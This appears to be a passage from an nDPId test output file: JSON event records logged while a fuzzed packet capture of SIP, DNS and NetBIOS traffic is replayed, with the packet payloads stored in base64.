9udGVudC1MZW5ndGg6IDANCg0K"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1120469572981,"flow_last_seen":0,"flow_tot_l4_data_len":494,"flow_min_l4_data_len":494,"flow_max_l4_data_len":494,"flow_avg_l4_data_len":494,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1120469573246,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2715,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469573,"pkt_ts_usec":246062,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUAGNWAODtAW69CABFAABIaZkAAIIRTbjAqAECwKgBAQqbADVANPFWONMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAgAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1120469573246,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2715,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":32,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00465{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469574,"pkt_ts_usec":242837,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaZoAAIARTbfAqAECwKgBAQqbADUANPFWONMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00677{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":22,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":2,"flow_first_seen":1120469573246,"flow_last_seen":1120469574242,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2715,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":23,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1120469572981,"flow_last_seen":0,"flow_tot_l4_data_len":494,"flow_min_l4_data_len":494,"flow_max_l4_data_len":494,"flow_avg_l4_data_len":494,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":23,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1120469572844,"flow_last_seen":0,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":475,"flow_max_l4_data_len":475,"flow_avg_l4_data_len":475,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.52","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":23,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1120469564839,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2713,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":23,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469576,"pkt_ts_usec":245476,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADCqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":23,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00465{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469578,"pkt_ts_usec":248603,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaZwAAIARTbXAqAECwKgBAQqbADUANPFWONMBAAABAAAAAABJBF9zaXAEX3VkcANzaXAJY3liZXLyaXR5AmRrAAAhAAE="} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469582,"pkt_ts_usec":254242,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAB2aZ0AAIARTbTAqAECwKgBAQqbADUANPFWONMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5TWRrAAAhAAE="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":25,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00481{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469589,"pkt_ts_usec":80368,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOaZ4AAIARTK\/AqAECwKgB\/wCJAIkAOluxhOoBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00481{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469589,"pkt_ts_usec":824951,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOaZ8AAIARTK7AqAECwKgB\/wCJAIkAOluxhOoBEAABAAAAAAAAIEVERURFSkZQRUVHUEVORUJFSkVPQ0FDQUNBQ1RDQUJNAAAgAAE="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1120469590256,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2716,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469590,"pkt_ts_usec":256418,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEaaAAAIARTbXAqAECwKgBAQqcADUAMHpPqtMAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":28,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1120469590256,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2716,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":29,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1120469590257,"flow_last_seen":0,"flow_tot_l4_data_len":65,"flow_min_l4_data_len":65,"flow_max_l4_data_len":65,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":9587,"dst_port":156,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469590,"pkt_ts_usec":257920,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":65,"pkt":"AODtAW69ADBUADRWCABFAABVAABAAEARtz7AqAEBwKgBAiVzAJwAx1zLqtOAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +01277{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":30,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469590,"pkt_ts_usec":259876,"pkt_caplen":722,"pkt_type":10240,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":722,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69KABFAALEaaEAAIARFsjAqAEC1PIhIxPEE8QCsIioUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhVyBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFsY2g9ejloRzRiS25wMTQ5NTA1MTc4LTQzOGM1MjhiMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPThlOTQ4YjANClRvOiA8c2lwOnZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2M0AxOTIuMTY4PjEuMjo1MDYwO2xpbmU8OWM3ZDJkYmQ4ODIyMDHhYz47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZXE6IDY5IFJFR0lTVEVSDQpDb250ZW50LUxlbmd0aDogMA0KQXV0aG9yaXphdGlvbjogRGlnZXMlcwBzZXJuYW1lPSJ2b2mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":30,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":10240} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":31,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1120469590405,"flow_last_seen":0,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":314,"flow_max_l4_data_len":314,"flow_avg_l4_data_len":314,"midstream":0,"l3_proto":"ip4","src_ip":"208.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00817{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469590,"pkt_ts_usec":405967,"pkt_caplen":348,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":348,"pkt_l4_len":314,"pkt":"AODtAW69ADBUADRWCABFAAFOAABAADcRit\/Q8iEjwKgBAhPEE8QBOln2U0lQLzIuMCAxMDAgVHJ5aW5nDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDQ2VxOiA2OSBSRUdJU1RFUg0KRnJvbTogPHNpcEZ2b2kxODA2M0DzaXAuY3liZXJjaXR5LmRrPjt0YWc9OGU5NDhiMA0KVG86IDxzaXA6dm9pMTgwNjNAc2lwLmN5YmVyY2l0eS5kaz4NClacYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7cmVjZWl2ZWQ9ODAuMjMwLjIxOS43MDtycG9ydD01MDYwO2JyYW5jaD16OWhHNGJLbnAxNDk1MDUxNzhTNDM4YzUyOGIxOTIuMTY4LjEuMg0KQ29udGVudC1MZW5ndGg6IDANCg0K"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1120469590405,"flow_last_seen":0,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":314,"flow_max_l4_data_len":314,"flow_avg_l4_data_len":314,"midstream":0,"l3_proto":"ip4","src_ip":"208.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1120469590455,"flow_last_seen":0,"flow_tot_l4_data_len":354,"flow_min_l4_data_len":354,"flow_max_l4_data_len":354,"flow_avg_l4_data_len":354,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00872{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469590,"pkt_ts_usec":455801,"pkt_caplen":388,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":388,"pkt_l4_len":354,"pkt":"AODtAW69ADBUADRBCABFAAF2AABAADcRirfU8iEjwKgBAhPEE8QBYot4U0lQLzIuMCA0MDMgV3JvbmcgcGFzc3dvcmQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyIjI3MzItNDY2NWQ3NzINCsNTZXE6IDY5IFJFR0lTVEVSDQpGcm9tOiA8c2lwOnZvaTE4ajYzQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz04ZTk0OGIwDQpUbzogPHNpcDp2b2kxODA2M0BzaXAuY3liZXJjaXR5LmRrPjt022c9MDAtMDQwODUtMTcwMWFmOTgtNTFhNjViMzQwDQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNjguMS4yO3JlY2VpdmVkPTgwLjIzMC4yMTkuNzA7cnBvcnQ9NTA2MDvicmFuY2g9ejloRzRiS25wMTQ5NTA1MTc4LTIzOGM1MjhiMTkyLjE2OC4xLjINCkNvbnRlbnQtTGVuZ3RoOiAwDQoNCg=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":32,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1120469590455,"flow_last_seen":0,"flow_tot_l4_data_len":354,"flow_min_l4_data_len":354,"flow_max_l4_data_len":354,"flow_avg_l4_data_len":354,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00481{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469590,"pkt_ts_usec":576043,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/NODtAW69CABFAABOaaIAAIARTKvAqAECwKgB\/wCJAIkAOluxhOoBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1120469595096,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.251","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00682{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469595,"pkt_ts_usec":96646,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"3\/\/\/\/\/\/\/AODtAW69CABFAADlaaMAAIARTBPAqAECwKgB+wCKAIoA0VtoEQ6E7MCoAQIAigC7AACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":34,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1120469595096,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.251","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":35,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1120469595096,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.251","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":35,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1120469590405,"flow_last_seen":0,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":314,"flow_max_l4_data_len":314,"flow_avg_l4_data_len":314,"midstream":0,"l3_proto":"ip4","src_ip":"208.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":35,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1120469590455,"flow_last_seen":0,"flow_tot_l4_data_len":354,"flow_min_l4_data_len":354,"flow_max_l4_data_len":354,"flow_avg_l4_data_len":354,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":35,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1120469590256,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2716,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":35,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1120469590257,"flow_last_seen":0,"flow_tot_l4_data_len":65,"flow_min_l4_data_len":65,"flow_max_l4_data_len":65,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":9587,"dst_port":156,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":35,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1120469590257,"flow_last_seen":0,"flow_tot_l4_data_len":65,"flow_min_l4_data_len":65,"flow_max_l4_data_len":65,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":9587,"dst_port":156,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":35,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1120469611651,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.137.21.94","src_port":2717,"dst_port":445,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469611,"pkt_ts_usec":651594,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ADBUADRWAODtAW69CABFAAAwaaRAAIAGJpLAqAECk4kVXgqdAb3Y\/7fcAAAAAHACQAA7VwAAAgQFtAEBBAI="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":36,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1120469611651,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.137.21.94","src_port":2718,"dst_port":139,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469611,"pkt_ts_usec":651922,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ADBUADRWAODtAW69CABFAAAwaaVAAIAGJpHAqAECk4kVXgqeAIstxX7gAAAAAHACQAAgvwAAAgQFtAEBBAI="} +00433{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469614,"pkt_ts_usec":570497,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ADBUADRWAODtAW69CABFAAAwaaZAADgGJpDAqAECk4kVXgqeAIstxX7gAAAAAHACQAAgvwAAAgQFtAEBBAI="} +00435{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469614,"pkt_ts_usec":570589,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ADBUADRWAODtAW69CABFAAAwaadAAIAGJo\/AqAECk4kVXgqdAb3Y\/7fcAAAAAHACQAA7VwAAAgQFtAEBBAI="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":39,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1120469620579,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.71","dst_ip":"147.137.21.122","src_port":2718,"dst_port":139,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 